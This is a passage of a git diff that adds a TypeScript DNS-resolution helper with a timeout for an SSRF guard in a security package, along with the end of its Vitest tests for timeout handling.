+ } finally {
+ vi.useRealTimers()
+ }
+ })
+
+ it('reports a deadline distinctly from a missing host', async () => {
+ vi.useFakeTimers()
+ try {
+ mockLookup.mockReturnValue(new Promise(() => {}))
+
+ const pending = resolveHostAddresses('slow.example', { timeoutMs: 1_000 })
+ const assertion = expect(pending).rejects.toBeInstanceOf(DnsTimeoutError)
+ await vi.advanceTimersByTimeAsync(1_000)
+ await assertion
+ } finally {
+ vi.useRealTimers()
+ }
+ })
+})
diff --git a/packages/security/src/dns.ts b/packages/security/src/dns.ts
new file mode 100644
index 00000000000..020e2b74433
--- /dev/null
+++ b/packages/security/src/dns.ts
@@ -0,0 +1,106 @@
+import dns from 'node:dns/promises'
+import * as ipaddr from 'ipaddr.js'
+
+/**
+ * Hard deadline on an SSRF-guard lookup.
+ *
+ * A guard that awaits a hung resolver holds its caller open — an HTTP handler,
+ * or a `webRequest` callback the browser is waiting on — so the lookup is
+ * bounded rather than left to the OS resolver's own retry schedule.
+ */
+export const DEFAULT_DNS_TIMEOUT_MS = 5_000
+
+/**
+ * A resolver deadline rather than a missing host.
+ *
+ * Callers map both to the same user-facing message, but during a resolver
+ * outage every valid hostname would otherwise be reported as nonexistent with
+ * nothing in the logs telling the two apart.
+ */
+export class DnsTimeoutError extends Error {
+ readonly code = 'DNS_TIMEOUT'
+
+ constructor(host: string) {
+ super(`DNS lookup for ${host} timed out`)
+ this.name = 'DnsTimeoutError'
+ }
+}
+
+/**
+ * The address to connect to or pin, out of a set already judged acceptable.
+ *
+ * IPv4 first, for the reason described on {@link ResolvedHost.preferred}. Split
+ * out so a caller that narrows the set — dropping records its policy refuses —
+ * can re-apply the same preference to what is left instead of pinning an
+ * address it just rejected.
+ */
+export function preferIpv4(addresses: readonly [string, ...string[]]): string {
+ // IPv4.isValid rather than isValid + parse, which parses the string twice.
+ return addresses.find((address) => ipaddr.IPv4.isValid(address)) ?? addresses[0]
+}
+
+export interface ResolvedHost {
+ /**
+ * Every address the host resolves to.
+ *
+ * A guard must classify all of them. Checking one lets a host publishing both
+ * a public and a private record through whenever the public one happens to be
+ * picked, which is a matter of record order rather than of policy.
+ */
+ addresses: string[]
+ /**
+ * The single address a caller should connect to or pin.
+ *
+ * IPv4 first: pinning strips Happy Eyeballs' fallback, so a pinned IPv6
+ * address hangs on IPv4-only egress (AWS NAT gateways, for one). Callers that
+ * pin depend on this ordering.
+ */
+ preferred: string
+}
+
+/**
+ * Resolves a host for an SSRF guard: every address it points at, plus the one
+ * worth pinning, under a bounded deadline.
+ *
+ * Rejects when the host does not resolve or the deadline passes. Callers decide
+ * what that means — failing closed is right for a guard, but "unresolvable" and
+ * "resolves somewhere private" are different facts and some callers report them
+ * differently.
+ */
+export async function resolveHostAddresses(
+ host: string,
+ options: { timeoutMs?: number } = {}
+): Promise {
+ const { timeoutMs = DEFAULT_DNS_TIMEOUT_MS } = options
+ const lookup = dns.lookup(host, { all: true, verbatim: true })
+ // If the timeout wins the race the lookup stays pending; its eventual
+ // settlement is swallowed so a late rejection cannot surface as an unhandled
+ // one.
+ lookup.catch(() => {})
+ let timer: NodeJS.Timeout | undefined
+ try {
+ const resolved = await Promise.race([
+ lookup,
+ new Promise((_, reject) => {
+ timer = setTimeout(() => reject(new DnsTimeoutError(host)), timeoutMs)
+ }),
+ ])
+ if (resolved.length === 0) {
+ throw new Error(`No addresses for ${host}`)
+ }
+ const addresses = resolved.map((entry) => entry.address) as [string, ...string[]]
+ return {
+ addresses,
+ // Through preferIpv4 rather than re-derived from `entry.family`, so the
+ // rule has one implementation that callers narrowing the set also use.
+ preferred: preferIpv4(addresses),
+ // Resolver order is preserved (`verbatim: true`) because `preferred`
+ // applies the IPv4 preference itself, so the order here is informational.
+ // Deliberately unlike `createSsrfGuardedLookup` in apps/sim, which hands
+ // its full ordered list to undici to dial in turn and so wants
+ // `verbatim: false`.
+ }
+ } finally {
+ clearTimeout(timer)
+ }
+}